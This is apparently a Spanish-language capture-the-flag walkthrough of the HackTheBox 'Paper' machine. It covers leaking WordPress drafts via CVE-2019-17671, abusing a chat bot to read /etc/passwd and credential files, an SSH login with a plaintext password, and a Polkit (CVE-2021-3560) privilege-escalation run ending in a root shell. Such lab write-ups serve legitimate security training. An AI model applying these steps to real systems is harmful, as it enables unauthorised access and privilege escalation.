HackTheBox - Paper
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: Information Leakage, Wordpress Drafts (CVE-2019-17671), ByPass Bot Restriction, Polkit (CVE-2021-3560)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
nmap -p<Puertos> -sCV <IP> -oN versiones
Para conocer más del sistema web usaremos whatweb
1 2
❯ whatweb 10.10.11.143 http://10.10.11.143 [403 Forbidden] Apache[2.4.37][mod_fcgid/2.3.9], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.10.11.143], MetaGenerator[HTML Tidy for HTML5 for Linux version 5.7.28], OpenSSL[1.1.1k], PoweredBy[CentOS], Title[HTTP Server Test Page powered by CentOS], UncommonHeaders[x-backend-server], X-Backend[office.paper]
Lo más relevante de esta información es ver un host office.paper, así que lo añadimos al /etc/hosts
c. Al visitar ese nuevo host veremos un Wordpress y al ir investigando veremos este comentario
El comentario de arriba, menciona algo sobre la existencia de una secreto en los drafts (borradores)
Al investigar sobre alguna vulnerabilidad asociada a esto llegamos a CVE-2019-17671, aquí nos dicen que inyectando un sentencia podemos llegar a ver borradores
Añadimos el nuevo dominio al fichero /etc/hosts. Lo visitamos y registramos una cuenta
d. Leyendo mensajes anteriores de este chat detectamos un bot recyclops
- La funcionalidad más relevante es la de leer y listar ficheros. Para interactuar con el bot le enviamos mensajes directos
e. Leemos el archivo /etc/passwd para ver los usuarios en el sistema. Después, vemos archivos que puedan tener credenciales
Estas credenciales son válidas para el servicio ssh
1 2 3
❯ ssh dwight@10.10.11.143 dwight@10.10.11.143's password: Queenofblad3s!23 [dwight@paper ~]$
Escalada de Privilegios 💹
a. En este articulo mencionan sobre la escalación de privilegios vía Polkit
Copiamos el fichero poc.sh y lo guardamos en la máquina víctima
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
[dwight@paper ~]$ ./poc.sh [!] Username set as : secnigma [!] Starting exploit... [!] Inserting Username secnigma... Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required [+] Inserted Username secnigma with UID 1005! [!] Inserting password hash... [!] It looks like the password insertion was succesful! [!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell! [dwight@paper ~]$ su secnigma Password: secnigmaftw [secnigma@paper dwight]$ sudo bash [sudo] password for secnigma: secnigmaftw [root@paper dwight]#
Debemos ejecutar este script varias veces hasta que funcione.